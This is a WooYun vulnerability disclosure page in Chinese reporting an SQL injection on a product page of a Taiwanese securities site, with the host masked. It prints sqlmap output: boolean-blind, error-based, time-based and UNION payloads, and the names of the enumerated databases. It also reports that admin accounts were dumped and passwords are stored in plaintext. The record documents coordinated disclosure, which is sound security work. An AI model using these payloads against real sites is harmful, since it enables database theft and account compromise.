当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0153104

漏洞标题:台湾某证券分站存在sql注入(臺灣地區)

相关厂商:Hitcon台湾互联网漏洞报告平台

漏洞作者: 头晕脑壳疼

提交时间:2015-11-11 09:26

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-11: 细节已通知厂商并且等待厂商处理中
2015-11-20: 厂商已经确认,细节仅向厂商公开
2015-11-30: 细节向核心白帽子及相关领域专家公开
2015-12-10: 细节向普通白帽子公开
2015-12-20: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

详细说明:

https://**.**.**.**/product.php?id=1


---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 9995=9995 AND 'LXRb'='LXRb
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: id=1' AND (SELECT 1556 FROM(SELECT COUNT(*),CONCAT(0x71706a6a71,(SELECT (ELT(1556=1556,1))),0x716b6a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'rvJX'='rvJX
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=1' AND (SELECT * FROM (SELECT(SLEEP(5)))ILSs) AND 'ePKR'='ePKR
Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: id=1' UNION ALL SELECT NULL,NULL,CONCAT(0x71706a6a71,0x5a46575464665a796352,0x716b6a7a71),NULL,NULL,NULL,NULL,NULL,NULL--
---
[17:36:20] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.5.15, Apache 2.4.10
back-end DBMS: MySQL 5.0
[17:36:20] [INFO] fetching database names
[17:36:20] [WARNING] reflective value(s) found and filtering out
[17:36:20] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique
[17:36:21] [WARNING] the SQL query provided does not return any output
[17:36:21] [INFO] the SQL query used returns 9 entries
[17:36:21] [INFO] resumed: information_schema
[17:36:21] [INFO] resumed: cdcol
[17:36:21] [INFO] resumed: esun
[17:36:21] [INFO] resumed: esun2
[17:36:21] [INFO] resumed: mysql
[17:36:21] [INFO] resumed: performance_schema
[17:36:21] [INFO] resumed: phpmyadmin
[17:36:21] [INFO] resumed: test
[17:36:21] [INFO] resumed: webauth
available databases [9]:
[*] cdcol
[*] esun
[*] esun2
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] test
[*] webauth


全部的管理人员账户

3.png


密码还是明文

1.png


商城后台地址

https://**.**.**.**/admin/


2.png

漏洞证明:

https://**.**.**.**/product.php?id=1


---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 9995=9995 AND 'LXRb'='LXRb
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: id=1' AND (SELECT 1556 FROM(SELECT COUNT(*),CONCAT(0x71706a6a71,(SELECT (ELT(1556=1556,1))),0x716b6a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'rvJX'='rvJX
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=1' AND (SELECT * FROM (SELECT(SLEEP(5)))ILSs) AND 'ePKR'='ePKR
Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: id=1' UNION ALL SELECT NULL,NULL,CONCAT(0x71706a6a71,0x5a46575464665a796352,0x716b6a7a71),NULL,NULL,NULL,NULL,NULL,NULL--
---
[17:36:20] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.5.15, Apache 2.4.10
back-end DBMS: MySQL 5.0
[17:36:20] [INFO] fetching database names
[17:36:20] [WARNING] reflective value(s) found and filtering out
[17:36:20] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique
[17:36:21] [WARNING] the SQL query provided does not return any output
[17:36:21] [INFO] the SQL query used returns 9 entries
[17:36:21] [INFO] resumed: information_schema
[17:36:21] [INFO] resumed: cdcol
[17:36:21] [INFO] resumed: esun
[17:36:21] [INFO] resumed: esun2
[17:36:21] [INFO] resumed: mysql
[17:36:21] [INFO] resumed: performance_schema
[17:36:21] [INFO] resumed: phpmyadmin
[17:36:21] [INFO] resumed: test
[17:36:21] [INFO] resumed: webauth
available databases [9]:
[*] cdcol
[*] esun
[*] esun2
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] test
[*] webauth


全部的管理人员账户

3.png


密码还是明文

1.png


商城后台地址

https://**.**.**.**/admin/


2.png

修复方案:

版权声明:转载请注明来源 头晕脑壳疼@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2015-11-20 06:35

厂商回复:

感謝通報

最新状态:

暂无